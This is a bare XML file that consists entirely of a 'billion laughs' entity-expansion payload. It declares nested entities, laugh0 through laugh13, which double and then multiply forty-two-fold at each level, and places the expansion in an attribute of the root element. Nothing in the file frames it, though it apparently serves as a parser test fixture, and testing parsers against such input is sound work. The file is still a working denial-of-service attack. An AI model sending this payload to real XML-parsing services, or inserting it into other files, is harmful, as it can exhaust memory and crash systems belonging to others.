1<?xml version="1.0"?>
2<!DOCTYPE billion [
3<!ELEMENT billion (#PCDATA)>
4<!ENTITY laugh0 "ha">
5<!ENTITY laugh1 "&laugh0;&laugh0;">
6<!ENTITY laugh2 "&laugh1;&laugh1;">
7<!ENTITY laugh3 "&laugh2;&laugh2;">
8<!ENTITY laugh4 "&laugh3;&laugh3;">
9<!ENTITY laugh5 "&laugh4;&laugh4;">
10<!ENTITY laugh6 "&laugh5;&laugh5;">
11<!ENTITY laugh7 "&laugh6;&laugh6;">
12<!ENTITY laugh8 "&laugh7;&laugh7;">
13<!ENTITY laugh9 "&laugh8;&laugh8;">
14<!ENTITY laugh10 "&laugh9;&laugh9;">
15<!ENTITY laugh11
16"&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;&laugh10;">
17<!ENTITY laugh12
18"&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;&laugh11;">
19<!ENTITY laugh13
20"&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;&laugh12;">
21]>
22<billion location="&laugh13;">text</billion>
23
24